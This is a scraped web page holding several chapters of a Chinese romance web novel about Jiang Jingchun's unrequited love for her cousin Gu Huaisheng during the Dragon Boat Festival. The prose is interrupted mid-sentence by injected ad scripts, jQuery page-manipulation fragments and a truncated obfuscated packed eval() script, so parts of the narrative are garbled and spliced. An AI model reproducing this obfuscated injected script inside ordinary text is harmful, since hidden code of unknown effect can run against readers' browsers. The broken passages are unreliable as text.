姜净春问他,“表兄看我做些什么。” 顾淮声回过头去,实话道:“有些不明白你问这个做什么而已。” 姜净春有些紧张,她咬了咬唇,而后解释道:“祖母许我明日上街去玩,表兄有空吗,街上可有趣了呢,明个儿有赛龙舟,还有放花灯,可漂亮了。” 她说这么多,只是想问他,“表兄,你想去看看吗。” 就像是哄小孩一样,她把明日的大街说得多么有趣,想要哄着顾淮声一起同她出门逛街。 她看着他的眼神似有几分期待,可是顾淮声仍旧没什么兴致的样子。姜净春说到最后,声若蚊蚋,几乎已经能想象到他拒绝她的样子。 原来是这样。 想来是怕他拒绝,又是怕他觉得她贪玩,所以才这般小声,说起话来也无甚底气的样子。 顾淮声没有回答她的话,而是忽然问了句不相干的话,他看向了她的手,道:“伤养好了?” 姜净春先是略带几分疑惑的“嗯?”了一声,似是没想到他会突然问这样的话,但还是很快回答,“还没好呢,但已经不疼了。” 说罢,她举起手来,给顾淮声看了看,上头还裹着纱布,但相较于之前两三层外三层包起来,已经好了太多。 顾淮声看了下她的手,而后便没有继续再说下去的意思,他点了点头,转身离开了此处。 姜净春才反应过来去喊他,“表兄,你还没有说明日去不去呢?” 相较于之前的询问,这声带了几分急切。 看着顾淮声不愿回答她,这一刻姜净春便再顾不得从柳嬷嬷那里学来的礼数,她提着裙子追了上去,头上的发髻随着她奔跑的动作肆意晃动,衣裙被风吹动,在这一刻好像也有了形状。 她在顾淮声的面前站定,因着急促,红唇微张,口中还在喘着气,身上的浮香随着她的靠近又这样强势地闯入了鼻中。 顾淮声看着眼前的人,默声片刻,喉咙微哑,他轻咳一声,方想回答,却听一旁传来了柳嬷嬷的声音。 “小姐怎出来这么久?老夫人让我唤你回去用晚膳了呢。” 出来送个人,给自己人送哪里去了都不晓得,不知道的还以为是要跟着顾淮声一起回去顾家了。 姜净春怕是等不到顾淮声的回答了,听着嬷嬷的催促,她对他道:“表兄,你去不去,可都要让人给我传个话,我会一直等着你的。” 说完这话,姜净春便转身跟着柳嬷嬷回去了。 顾淮声生了一双极占便宜的桃花眼,桃花多情,看人的眼神也总是含笑含情,你即便生得冷冽不近人情那又如何,你的眼睛会为你诉情。可这样的眼在他的身上,却好像并没能他看起来更有情一些,他看谁,仍旧是那样淡漠,眼底似有冰霜。 可是此刻,他眼底那万年不散的冰雾好像清减了些许。 龙舟......花灯...... 他好像确实是很久没有看过这些东西了。 * 很快便到了第二日,五月五日,端午到来,姜府上下的房中已经挂上了艾草和菖蒲,端午阳气旺盛,人们常挂艾草菖蒲以驱邪,府上也已经被粽叶的味道侵袭,丫鬟们来回奔走,准备着端午晚上的家宴。 姜净春学好了女红,做起东西来也像模像样,她前些时日做了几个香囊,放上艾草,用来辟邪祈福,她先是给老夫人,柳嬷嬷送去,而后回了崇明堂给母亲和兄长送去,至于她爹,她有些怵他,便让下人去送。 不仅如此,想着今晚邀了顾淮声,她还给他也做了一个。 端午时候,官员们都在家休沐,崇明堂的堂屋之中,李氏同那兄妹二人坐在一处。 姜润初接过了姜净春送给他的香囊,抓着香囊的系带,悬在手上看来看去。虽然这香囊做得确实不错,但他还是忍不住呛她,“狗爪子倒真能拿针线了。” 两人从小到大都在拌嘴,姜净春早就习惯姜润初狗嘴里头吐不出象牙,她闻言就想去夺回他手上的香囊,一边道:“成,不要就还给我。” 姜润初快他一步,将香囊收了起来,“白给的我干嘛不要。” 姜净春白他一眼,反正这么些年,他就喜欢欺负她,旁人冤枉她的时候,他站在旁人的身边,她大人不记小人过,连东西都不落他一份,他还就知道来打击他,什么人嘛。 她懒得搭理他,扭头去对同李氏道:“母亲看看我绣得好吗?” 李氏将香囊拿在手上细看,从前姜净春就是能绣出个香囊的形状都算是不错了,可是现在做的,不论是针脚还是走线都是顶好的。 她的祖母真的将她教得很好,这是她做不到的。 她沉浸在自己的情绪中,都忘了姜净春还在一旁等着她的回答。 也不知是过了多久,却听她叹了口气,而后道:“这都可以嫁人了。” 从前姜净春来了癸水的时候,她没这样想过,她身形渐渐发育的时候,她也没有想过,就连她吵着说喜欢顾淮声的时候,她也没想过她要嫁人了。 可是就在看到她绣出了一个个像样的香囊的时候,她长大的实感就这样清晰了起来。 姜润初在一旁提醒道:“她已经十六了,母亲早该给她说亲了。” 李氏才想到,对了,她的女儿好像到了嫁人的年纪了。饶是李氏不想承认,可还是不得不承认,她叹了口气道:“知道了,犯不着你再来提醒我了。” 说亲....... 说起说亲,姜净春的脑中便只想得到顾淮声。 想起他,她才想起来昨日她邀他出门。 眼看这都快到了用晚膳的时候,也没个人来传话。 * 贺阳侯府中。 顾夫人正和顾淮声坐在一处。 顾夫人对他道:“上回你说楼家的那个小姐,你不大喜欢,这些时日我便重新给你想看了人家,那礼部侍郎家的孟三小姐,我看不错。我同她的母亲这些时日也来往了几回,她看你也不错。” 虽然上回的楼妍心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她挺喜欢的,可没办法,顾淮声不喜欢,她就算是再喜欢又能怎么办。 她知道他这人不管在什么事情上挑剔讲究,婚姻大事当更是如此。 可他挑剔,却又不肯自己上心此事,若她这个做母亲的再不去操心,他这辈子怕也是娶不上妻。 顾夫人道:“我同尚书夫人约好了,今个儿端午节,晚些时候街上热闹,你陪着孟三小姐去逛逛如何?” 顾淮声听到这话,没有马上回答。 顾夫人也不知道他是在想些什么,这是愿意还是不愿意? “今日吗?”顾淮声忽问她。 顾夫人有些不明白,今日明日的有甚差别,她道:“今日街上热闹,你同她也能玩得开心些。” 她又问,“怎么了?今日是有事,不大方便吗?” 顾淮声抿了抿唇,无言片刻。他的手指下意识摩挲着手上的杯盏,想到了昨日姜净春的话。 她也邀他今晚出门。 可是,若和她单独出门,好像也是一件很奇怪的事情吧。 一个兄长,和表妹单独去看花灯,游街...... 这是什么意思,难道还不明显。 尤其是今日母亲还要他去陪自己说亲对象,如果因为姜净春而去拒绝这个,事情便变得更加古怪了。 “伏砚,你想些什么呢?” 听到了顾夫人的话,顾淮声回过了神来,他应下了她的话。 “好,晚上我会去的。” 顾夫人倒没想到顾淮声竟然答应得如此利索,本来以为他方才沉默的时候,是在想着如何去找借口推脱。 顾夫人得到了他的回答,便欢欢喜喜对他道:“一会去换件衣服,莫要再着白裳了,多没人情味啊,小姑娘们可不喜欢这些。” 顾夫人唠叨声不断,顾淮声最后还是听了她的话,由着她给自己挑了件衣服。 * 很快就到了晚上,大街小巷都已经挂上了灯笼,灯火如珠夜放光华,今个儿没有宵禁,夜黑透了大街上也仍旧是人头攒动,孩童们在街上嬉戏吵闹的声音显得格外热闹,龙舟队们已经在岸边摩拳擦掌,等着一会的比赛。 姜净春已经用完了晚膳,可还在家中没有出门。 她还在不死心地等着顾淮声的消息。 都这个时候了,却还没有消息,若是顾淮声答应的话,其实早该就派人来说的吧。但姜净春不到最后一刻,还是不甘心地在等。 终于,外头跑进来了个小厮传话,姜净春赶紧出了门,她急急问道:“可是顾家来的消息。” 小厮见她着急,赶紧点头。 姜净春又问他,“表兄他如何说?” 小厮道:“小侯爷说今日有事,不能来。” 不能来。 即便说是在意料之中的事情,可猝不及防听到,姜净春心中不可能没有难受。 她从昨日开始便在期待,可等到最后,还是等来了他的一句“不能来”。 姜净春脸上的表情淡了下来,就连眼底盛着的期待也消失得一干二净。 他不会来。 她感觉眼底似有水汽熏出,她这一刻只觉浑身无力,无穷无尽地失落袭上了胸口,不就陪她去逛个街吗,怎么这也不愿意。 顾淮声,真小气。 15. 第十五章 “小姐,你没事吧。”一旁边的花云见状有些担心,她又道:“小侯爷不来便不来,我们自己去玩也成的啊,今日外头一定很热闹的。” 姜净春沉沉地吐出了一口浊气,她揉了揉眼睛,而后道:“不来就不来,我自己去又不是去不得了。” 再说了,她姜净春又不是没人一起玩,她有的是朋友,才不需要他一起陪着呢。 终究是少年心性,不顺心的事情碰到多了,总是有几分气的。 姜净春道:“走,我们去陈家找人去。” 花云见姜净春又振作了起来,便忙点头,她道:“好!我们去找陈小姐。” 然而,事不逢人意,去了之后,却发现陈穆清并不在家,今日她跟着她的母亲回了外祖的家中。 没法,姜净春扭头去了宋府,去寻了宋玄安。 下人进去传话,姜净春等在了门口。 没一会,一少年穿着一身招摇紫袍从大门里头出来,他步伐恣意,束起的发随着晚风不断地飘逸。 一开始宋玄安还没见着姜净春在哪,而后轻车熟路走到了门口的柱子后面,果真就见她蹲在那个角落。 她来寻他,便总是喜欢蹲在那里。 姜净春低着头,脑袋枕在手臂上,他也看不清她的表情。 想到上次在姜家发生的事情,宋玄安也不知道后来她是怎么样了......不过既然能出门来,想来应当是没事了。 他走到了她的面前。 眼前覆盖上了一片阴影,姜净春抬头看去,就见宋玄安已经从里头出来了。 宋玄安双臂交叉环在胸前,看着她笑话道:“是不是找不到人玩了,才来寻我的。” 姜净春被说中心事,起了身来反驳,“什么嘛,我好心来找你,你还说这样的话,你不想出门那便算了。” 说罢她转身作势要走。 宋玄安见真要把人惹恼了便也没再开玩笑,马上跟上了她。 “跟你开个玩笑,今日是吃火药了不成,脾气这么大。” 姜净春闷头走着,没有理他。 宋玄安也没再拿这事说她,他问她道:“喂,手还疼不疼啊。” 说的是上一次她挨了打的事。 姜净春撇了头过去,仍旧是不打算理会他。 谁叫他哪壶不开提哪壶,非要说没人陪她,一说起这事,她就想起顾淮声,一想起他,便止不住冒火。 宋玄安见她不搭理自己,也没生气,直接抓起了她的手来看。 他记得上一回她是左手挨了罚吧? 果不其然,那只手上面还包着纱布,姜净春刚想开口骂他,可宋玄安就抓着她的手,手指往她那包着纱布的掌心戳了两下。 见姜净春除了生气外,没其他的反应,宋玄安便知这伤或许是要好的差不多了。 他捂了她的嘴,把她的骂骂咧咧捂回了喉咙,“好了,还这么气做些什么,小爷我这不是出来陪你了吗,你把我骂跑了,可就没人陪你了。” 他松了手,姜净春果然也没再骂他,只是那双眼睛还瞪着他。 宋玄安看她这幅包子样子,却更觉有趣,眼中笑意更甚。 两人从宋府出来,往街上去,这段小路暂时安静,没什么人往来,只偶有几个行人走。 他们不说话,这处便安静许多了,只是偶尔有吵闹的声音从大街那边传来。 月光撒在他们两人的身上,他们并肩走着。 宋玄安百无聊赖,他看了看掌心,方才碰到了姜净春的嘴巴,现在仍有阵瘙痒,他抬起掌心看了看,发现上面还有些残余的口脂,月光下,异常红艳,他忽地扭过头去,看向她道:“你今日打扮得这么好看做些什么?” 他这才认真打量起她来。 姜净春今日的脸上涂了脂粉,皮肤看着比平日还要白腻一些,弯弯的柳叶眉下,眼睛灿若繁星,樱唇琼鼻,口脂瞧着比寻常时候艳丽太多,就连衣服瞧着也修身了些。 她和他们在一起的时候,可从来是不会打扮成这个样子的。 宋玄安语气倏地冷了下来,“你不会是想去找你表哥,然后他不理你。而且你方才是不是还先去找陈穆清了,她有事,所以你才来找我的。” 合着他就被她排在最后一个了呗。 姜净春眼皮一跳。 他怎么什么都猜到了。 不仅猜到她被顾淮声拒绝,就连她先去了陈家都知道。 平日的时候也没见得他这样聪明。 宋玄安没有等到姜净春的回答,但他已经从她的眼中知道了答案。 瞬时间,脸色更叫难看,他看了她一眼,迈开步子,转头就走。 姜净春自知理亏在先,见他生气,便忙追上去哄。 “哎呀,你别生气啦,我最先想到的就是你......” 这话说出来,姜净春自己都有些不信。 她又道:“你看,我好歹还想着你了呢.......” 这话说出来,更有些气人。 宋玄安好悬没叫她气昏过去,扭头恶狠狠地道:“你闭嘴行吗。” 姜净春缩了缩脖子,终于老实闭嘴。 她一开始还好声好气哄着宋玄安,不过后来到了街上,她就被热闹的街景吸引了过去。在家中待了好些个日子,现下再出来看什么都新奇,走在路上,看什么也都想买。到了最后,她也顾不得宋玄安还在生气,已经让人大包小包提了不少的物件。 姜净春手上拿着兔子花灯蹦蹦跳跳走在前头,宋玄安拿着一堆东西跟在她的身上。 宋玄安生气,却又拿她无可奈何,黑着脸给她提了一身的东西,终于,就在姜净春又看上了一个小玩样的时候,宋玄安忍无可忍道:“还买,是想把东西吊我头上不成?” 姜净春经此提醒,才发现宋玄安两只手都提满了东西,她颇为不好意思地干笑两声,便也收了手,她看宋玄安脸色不好看,知他定是还在生气,本来就气,现在拿了一堆东西恐怕是要更气。 她突然想到怀中有个没送出去的香囊,本来是要送给顾淮声。因为是送给心上人的,她做得还格外上心。 可他今日都不出门,她怎么给他呢?再说,她等了他一日,最后等来了他拒绝的消息,怎么能不生气。 姜净春把本要给顾淮声的香囊从怀中掏了出来,递到了宋玄安的面前,她道:“你莫要气了成不?你看,艾草香囊,驱邪缚魅,保命护身用的呢。 洁白的香囊挂在姜净春的指间,在她的手中轻轻晃动。 宋玄安显然知道她的德行,他道:“你别以为我不知道,你是不是想要送给顾淮声,送不出才想着给我。” 又被猜中了。 两人很早就认识,宋玄安对姜净春这人,实在是有些了解,就像看她今日打扮得不大一样,他就马上知道她一开始是想要去寻顾淮声,而不是他。 就连着这香囊,他也很快就猜出,这定然是她想要先拿去送给顾淮声,而不是给他的。 姜净春被拆穿,却仍旧在嘴硬,“什么嘛,我又没有送给他,这不是第一个在你面前掏出来的嘛。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋玄安问她,“你放什么屁。” “说话这么难听做些什么,不要拉倒。” 宋玄安却又不肯,他马上道:“谁说我不要了,既说给我,那便是我的了。” 姜净春也没有再同他争下去,她把香囊递给他。可宋玄安却没手能去拿,他今日是一个人出来的,也没人能帮他拿些东西,一时之间也犯了难。 宋玄安道:“你给我挂上不就是了。” 她帮他挂上?现在?在外边? 姜净春看了看周遭景象,外头这般热闹,那么多的人在,他们两人生得俊,本就有不少人注意他们,这香囊一系,万一传了什么风言风语出去,岂还了得? 姜净春拒绝,“不成,这么多人。” 宋玄安看了眼周遭,他脑袋往一旁的小巷子那处扬了扬,道:“那里没人能瞧见,去那处,你帮我系上。” 姜净春往那个小巷子看了看,更觉有些不大对劲,她踟蹰道:“不大好吧。” 宋玄安问她,“哪里就不好了?只是让你给我系个香囊罢了,有什么不好的,你说与我听听。” 姜净春支支吾吾个半天,也憋不出个所以然来,说来说去也还是那句老生常谈的话,“男女授受不亲。” “你少拿这话来糊弄我,我又不怎地你。”他道:“还是说,你本就不想把这个香囊送我,还想着拿去送旁人......” 见他又拿这话说事,姜净春便先一步堵了他的嘴,往小巷那头走去,“少来激我,快点过来吧你。” 他们往那边走去,却不曾注意到,不远处的河对岸,有道视线落在他们的身上。 姜净春看周遭没了人,便帮宋玄安赶紧系上了香囊,她弯着腰低着头,借着月光,给香囊打结,她靠他靠得近,宋玄安都能闻到她头发上的头膏,散着茉莉的香气。 这个头膏,她好像很喜欢用,他经常能在她的身上闻到这股味道。 从前的时候,姜净春并不拘泥于同他接触,也不会觉得给他系个香囊是多冒犯的事情,可是近来,她好像变了很多。 是从什么时候开始变的。 好像是他们长大了,也好像是她喜欢上了顾淮声之后,又或许是从嬷嬷那里开始学了规矩,她开始真觉得,男女授受不亲。 可是从前,他们之间分明不是这样的。 他还没继续来得及想下去,姜净春很快就已经打好了结,她呼出了一口气,而后道:“好了,我们走吧。” 宋玄安低头瞥了眼腰间的香囊,也不知是在想些什么,直到姜净春从前方回过头来唤他,他才回过了神来,跟了上去。 两人往外头走去,方走出小巷,却就撞见了不该见的人。 顾淮声今日的穿着同平日不大一样,一身圆领黑色锦袍,衣上绣着金丝祥云,使其不显单调,朱红腰带上坠着他平日戴着的那块玉佩,通身皆是清减华贵之气。 他鼻梁挺拔,气度迫人,双唇却在此时紧紧抿着,露出了几分锋利。 没想到竟会在这处看到顾淮声,他的身边还站着一个姑娘,看着打扮也是哪户人家的小姐,不过姜净春认不太出来。 那小姐一袭淡蓝长裙,脸上挂着一层浅浅的笑,看着便温文有礼。 如此看来,也难怪姜净春不大认识她。大家性子不同,平日里头自然也就玩不到一处去。 只是她旁边站着的那个人,姜净春便比谁都认识了。 除了是顾淮声,又还能是谁呢。 他说有事不能同她出来,可却有别的功夫陪别人。 16. 第十六章 或许是凑巧,顾淮声同孟三小姐从河对岸来,刚下了桥,就碰上了他们两人从巷子里头出来,桥正对着小巷的出口,四人就这样打了个照面。 姜净春看着顾淮声,而他的视线也落在她的身上。 几人相视无言,气氛一时之间有些凝固。 末了还是礼部尚书孟家的三小姐,她先开了口,她看向顾淮声,问道:“顾公子,怎么了。” 顾淮声仍旧在看姜净春,他的视线落在她的唇瓣上,上面还有一片......略显凌乱的嫣红。 顾淮声从前也不曾去过什么风月场所玩乐,更没有和谁做过那样的事情,可看着她的红唇,却总不自觉想到别处。 这片红若是放在寻常时候倒是不容易叫人多想,只是他们两个人从巷子里头出来……从那里面出来,便有些叫人浮想联翩。 小巷昏暗,在夜晚透不进光的地方,一眼望不到头,少男少女站在巷子口,薄光撒在他们身上,是那样美好。 顾淮声知道,她和宋玄安的关系很好,她又很贪玩。所以,他不知道,她会不会做出那样的事来。 他们……难道亲了吗? 他不知道,可他总不能开口去问吧。 顾淮声胸口莫名生出了一股烦躁的情绪。 那种他许久不曾有过的情绪。 一旁的孟三小姐见他一直不曾开口说话,便也朝着巷子口那两人的方向看去,前方站着一个扎着双垂髻的女子,模样甚艳,后头站着一个身上提着大包小包东西的男子,看着同她年岁相仿,约莫大个两三岁左右的样子。 姜净春在京城的名声并不小,她听说过她,所以现下在这里见到他们二人的时候,她多少也能猜出,她就是那个喜欢撵着顾淮声到处跑的表妹。 她刚想要开口说些什么,就听到面前的那个小姑娘开了口,她看着顾淮声,问他道:“表兄不是说有事吗?” 语气带着她自己都不曾察觉的委屈。 可这话一问出口,姜净春便有些后悔了。 这话让她变得更丢脸了。 他是有事,只不过他的事情是陪别人罢了。 她还非要去多嘴问这么一句做些什么。 也实在是讨人嫌。 孟三小姐先察觉出了气氛的古怪,她开口道:“原是姜家小姐,后面的那位是......” “他是宋家的人。” 一旁的顾淮声出声。 孟三小姐点了点头,算是了然,她又看向顾淮声问道:“既这般凑巧碰到,莫不如我们一起吧。” 虽然她对一个喜欢到处缠着别人的有什么好感,但终究也算是顾淮声的亲族,他们这才不过第一次见面,她也还没到什么能为他做决定的地步。 不过,她本想,顾淮声当是不大喜欢她的,应该也不会答应。 可谁知,一旁的顾淮声却出声答应。 “好,一起吧。” 顾淮声看着那两人,眉头仍旧蹙着。 去啊,为什么不去?不盯着她些,谁知道一会还会弄出什么事情来。 可显然姜净春并不大想要掺和他们两个人中间,方想要出声拒绝,就已经见顾淮声转回身去,留给她一句,“跟上吧。” 语气带着不容质疑,姜净春没了办法,便也只能跟了上去。 四个人走在一起,顾淮声他们走在前头,姜净春和宋玄安走在后头,自从跟上了顾淮声之后,姜净春便不大自在。分明最先一开始就是想跟着顾淮声出来的,现下求仁得仁了,却也不怎么快意。 看到顾淮声和那孟三小姐两人在一处之后,姜净春便也没了什么玩乐的心思,他们并肩走在前头,姜净春一路上跟在后头都是蔫了吧唧的样子。 终于,好不容易就要结束,几人看完了花灯,便要散了,那处孟三小姐上了自家的马车回家,顾淮声对姜净春道:“走吧,送你回姜府。” 一旁的宋玄安先姜净春一步,他走上前道:“不用了,我送就好了,人本就是跟着我出来的,阖该我送,不烦小侯爷了。” 他已经十八,身形也差不多长成,个子同顾淮声竟也差不多高,只不过说,站在他的面前,总有那么几分势弱。 顾淮声给身后的书良使了个眼色,书良看明白了他的意思,上前就要接过他手上大包小包的东西。 宋玄安自是不肯的。 然顾淮声的一句话却让他不得不松手。 “是又想让她挨罚吗。” 上一回,不也是就是因为和他偷跑出来玩才挨了板子吗。 若这回姜家的人见她又是同他出来,又不知道要说些什么去了。 而如果是顾淮声的话,便不会有人说他了。 世人对声名好的人总是格外宽容。 没办法,宋玄安只能把东西给了书良,而后,看着他们两人的背影消失在了视线中。 闹腾了一晚上,龙舟赛也已经比完,时至亥时,街上热闹的声音也淡去,挂在外头的灯笼也被收回去了些,华章翻页,一切都归于寻常。 两人走在回姜府的路上,谁也没有先说话,就这样安静了一路。 直到快到了姜家的时候,姜净春才终于开了口。 她跟在他的身后,出声问他,“表兄是想要说亲了?” 上一次是楼妍心,这一回又不知道是哪家的小姐,反正喜欢他的人也不少,他不喜欢楼家,也不喜欢今日的那位,总还会有旁的人家上赶着来。 他今日是同这个相看,明日又同那个相看,迟早也会定下自己的亲事。 那她呢? 她算什么啊。 从始至终,就是她一厢情愿罢了。 她说,“上回的楼家小姐表兄不喜欢,那这回的这个小姐,表兄可喜欢吗?” 她说这话,还带着自己都不曾察觉的酸意,但旁人一听,便十分明显。 顾淮声听她这般小孩子气的话,本也没什么继续同她争执下去的必要,可看着她的唇瓣,他竟也可耻地起了同小孩子相争的坏念头。 他说,“还行。” 他说还行。 在姜净春的印象中,顾淮声没有骗过人,她也理所应当觉得他这人是不会骗人的,所以......他是真的觉得她不错? 姜净春的脸色肉眼可见地垮了下来。 “婚姻大事岂是儿戏,表兄再好好考虑考虑吧。” 她还能说些什么?她难道让他别去喜欢她吗? 难道她要直白地说,“你别考虑她们,考虑考虑我吧。” 姜净春维持最后的仪态理智说完这话,便转头往府里头去了。 然而她极力维持理智的样子,在旁人的眼中看来,就像是一个小孩学着大人说话,看着只剩了谐趣。 顾淮声看着她的背影,最后还是出声提醒她,“嘴巴。” 姜净春没有走远,听到了他的话,虽然弄不明白他这两个字是什么意思,但她怕自己再继续待下去,就要没骨气地涕泗横流,所以最后也只不过顿步片刻,旋即头也不回往里走去。 她憋着一口气回去了屋子里,想到了顾淮声的话便在铜镜前坐下,才发现原是口脂有些被蹭花了。 她想起来了,是之前宋玄安用手掌往她的嘴巴上摁了一下,应当就是那个时候蹭的吧。 她嘟囔道:“烦死了,都怪宋玄安。” 她自然也想不到别的地方去,只是下意识地以为,顾淮声那样重礼数、守规矩的人,应当会觉得她这有些许蹭出的口脂,是不合规矩。 可她很快又想到了方才顾淮声在门口那处说的话,心里头又泛起一阵一阵难受,头脑昏昏沉沉,越想越是不痛快。 到最后,那泪还是没能憋住,不争气地从眼角滚落。 花云见此,吓了一跳,可也知她是在为何而哭,今日见了小侯爷和旁人在一处,她又怎么可能快意的起来。 可解铃还须系铃人,这小侯爷的事,饶是花云怎么劝便都没有用了,没办法,她在旁边哄了好半天也不见人好,也只能任她哭去了。 * 顾淮声回了侯府之后,顾夫人已经等在了此处。 流云已经将月色遮掩,他从屋外走来,脸上带着一瞬间的暗,直到进了屋后才终于明亮了起来。 看着眉染霜雪的青年进了屋来,顾夫人下意识觉得不妙。 果不其然,她问他孟三小姐如何之时。 顾淮声又是那句,“不喜欢。” 顾夫人登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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母亲总是说话不算话,顾淮朗气得连觉都睡不着。 顾淮声借着门口廊庑下挂着的灯笼,才发现面前这小孩的眼睛肿肿的,像是刚哭过一样。 一开始顾夫人确实说好了要带他出门,但今夜端午,还有家宴要去操持,弄来弄去,便耽搁到了很晚,顾淮朗自己想要出门,可顾夫人却坚决不让。 之前姜净春走丢过的事情,直到现在也仍旧让人心有余悸,况且那个时候姜净春还是跟在李氏的身边,在她眼皮子底下不见的,有这么一桩事情在,顾夫人怎么会放心顾淮朗一个人出门呢? 是以他怎么哭,怎么闹,顾夫人都没有理他,只答应下次再带他出门。 下次下次,又是下次!她总是说话不算话,顾淮朗怎么能不气呢。 顾淮声看他气得鼓脸,觉得有些好笑,便单膝蹲了下来,看着他问,“想出去玩,怎么不和我一起。” 顾淮朗既然来问他今日是那支队赢了,便也该知道他今日是去街上了。 “哥哥又不喜欢我。”顾淮朗垂着脑袋道。 他跟在他的屁股后面,他一定是会嫌烦的。 顾淮朗带着几分稚气的声音传入了顾淮声的耳朵,他沉默了片刻,也不知道是想到何处去了。 小孩子不就是这样吗,你不喜欢他的话,他也就不会喜欢你。 他却在这个时候想起了姜净春,他总觉得她是小孩,可真要是,那也算是一个挺有毅力的小孩不是吗。没人会因为他的冷淡还会一直靠近他,母亲、弟弟......很多很多人。 可是她,好像也只有她,和他们都不大一样。 一次次地推开,一次次地接近。 今晚,他又为什么会因为她那被蹭掉的口脂而心摇神动。他想,只是因为他们所做的事情,同他一直以来所秉持的礼教相违,所以才会生出那样燥郁的情绪来。 是这样的。 不然还能是为什么呢。 她说喜欢他,可她怎么能做这样的事呢。 顾淮声起了身来,他道:“是手臂上绑着蓝色系带的队伍赢了。” 17. 第十七章 端午过后,日子一天比一天热起来了,六月悄然而至,不知不觉就入了夏,一日寻常的下午,窗外是晴空万里,天上没有一丝云彩,空气之中也带了几分说不出的燥热,带着蝉鸣的午后,让人止不住地发困。 柳嬷嬷站在台上,姜净春坐在下方的位上。她已经听不清楚嬷嬷在讲些什么话了,下巴撑靠在了手上,脑袋发沉,眼皮似有千斤重,怎么也睁不开。 终于,就在她的眼睛要合上之时,台上传来了一道木块敲打桌子的响声。 姜净春叫这声音吓一机灵,立马就清醒了过来。一个学生一个老师便是这样不好,就连瞌睡都打不了一点,她挺直了腰杆,看向柳嬷嬷。 正见她在蹙眉看她。 而后,姜净春听她道:“你这些时日是怎么回事,怎么每日都心不在焉的样子。” 每日都一副浑浑噩噩的样子,除了打瞌睡不说,就连着课业也做不好,同之前比起来,这幅样子,实在有些不大像话了。 姜净春也不敢犟嘴,低头道:“对不起嬷嬷,应当是近些时日天气热了,便止不住瞌睡,我下次一定不会犯了。” 自上一回端午过后,和顾淮声见过了那么一面之后,她心头不大爽利,整个人也一直不在状态。当初她答应来老夫人身边,除了想不时时刻刻黏着母亲之外,顾淮声才是主要原因。 她想要成为他喜欢的样子。 可是,好像不论她怎么学,怎么做,好像都没什么用啊。 他不喜欢她,就是不喜欢她。 这股挫败快要将她压垮,她觉得一切好像都失去了意义,坐在这里学这些规矩又有什么用,反正学再好,顾淮声也不会喜欢。 她这段无疾而终的感情,还没开始,好像就已经结束了。 真是糟糕透顶了。 什么天气热,不过是惫懒的借口罢了,柳嬷嬷何尝不知。 她看姜净春什么也学不进去的样子,也懒得再教,“既你这般状态,我教什么只怕也都听不进去了,罢了,那你便先去歇个几日,什么时候好了,什么时候再回来。” 说罢,柳嬷嬷的身影就已经消失在了此处。 花云一直都跟在姜净春的身边,也知道是自从端午那日之后,姜净春就成了如今这幅萎靡不振的样子,她自也知道,多半就是因为顾淮声的缘故。 她见姜净春不开心,便道:“小姐若不想要继续学了,莫不如我们就回去崇明堂吧,夫人一定会很高兴的吧。” 回去崇明堂吗。 姜净春沉默,没有说话。 她偏头看向了窗外,屋外的天气简直好得不像话,晴空驱散阴霾,可她的心却被一层雾蒙蔽,心绪乱成一团,郁气憋在胸口,不上不下。 反正近些时日,她什么都学不进去了。 她也不知道往后该如何,回崇明堂,还是继续留在荣德堂呢。 姜净春在这处愣了没有一会,就被人叫去了老夫人的屋里,想来是方才柳嬷嬷去她那里说了些什么,现下老夫人把她叫过去问话去了。 该来的还是要来,姜净春这样差的状态,不被说,才是奇怪。 她认命地起身,往老夫人的屋子去。 * 一靠近老夫人的屋子,便被一股檀香的气息包围,老夫人常年礼佛,屋中也都是这些气味,门窗大敞开着通风,气味飘散去了屋外。 姜净春已经做好了挨训的准备。 祖母也一定对她很失望吧。 她这样护她,分明都已经这样大的年岁了,却还要来管她这个不成才的小辈,结果呢,她还跟一坨扶不上墙的烂泥似的,碰到点事情便要死要活。 她进了屋,垂着脑袋站到了老夫人的面前,等她开口。 然而,想象中的训斥并没有来。 姜净春听她道:“可是近些时日天气热,所以心情不好吗。” 竟不是怪罪,甚至还给她的偷懒找了借口。 姜净春抬头看她,眼中带了几分不解,她说,“祖母难道不怪我吗,我这些日子,每日都在惹嬷嬷生气,今天又在她的课上打了瞌睡,气得她不愿意再教我了。” 难道嬷嬷没有同她说这些吗? 她这样子不听话,祖母难道也不生气吗。 其实老夫人早就知道这些事了,而且方才柳嬷嬷也又来说了一番。 老夫人非但没有生气,反而还笑了笑,她反过来问她,“我为什么要生气呢。” “人嘛,碰到些许困难,总是有失去方向的时候,这是一件再正常不过的事情,我又为什么要因为这个事情来怪罪你呢。” 她现在很痛苦,她都知道的。 她这个当祖母的不能解决她的痛苦,也决计不会因为此事而去怪罪。 没有得到想象中的责罚,可却让姜净春更觉难受,憋了这么些日都没有外露的情绪,终于在听到祖母这句话的时候彻底红了眼。 老夫人最见不得小孩子哭,她抓住她的手,将人带到了跟前。 “都多大了,还哭呢。我训你要哭,不训你也要哭,你这让我怎么办呢。”她说着这话,语气都带着平日不曾有的轻柔。 她也大约能猜得出她是因为什么事情而这般难过。 果不其然,姜净春问她道:“表兄是不是要和别人说亲了。” 她这个样子,只怕会是因为顾淮声了。 老夫人看着她道:“伏砚已经二十一了。” 言下之意便是,他早就该成亲了。 “那为什么不能是我呢。” 为什么不能是她。 她那样喜欢他,他却一点都不喜欢她。 老夫人道:“感情这事,谁说得明白呢。不是你喜欢别人,别人就一定会喜欢你的啊。” 如果这样的话,天底下就到处都是两情相悦的佳话了。 然而,从事实来看,相比之下,求而不得才是常态。 她道:“万般希望不如休,无来求不得,有后不须求。” 有些东西,该是你的就是你的,不是你的,再怎么求也就是没用。 姜净春没有再说话,也不知道是听进去还是没听进去。 老夫人叹了口气,而后道:“可你不能因为你表兄要说亲,你自暴自弃。知你这些时日没什么心情,若强逼着你怕也只会适得其反,去歇个几日吧,想好了再来,一切也不迟。” * 就在同一日,姜净春从老夫人这边离开之后,李氏就寻了过来。 她想要带姜净春回去。 虽然说都是在姜家,但她在老夫人身边,她便不能常看到她了。 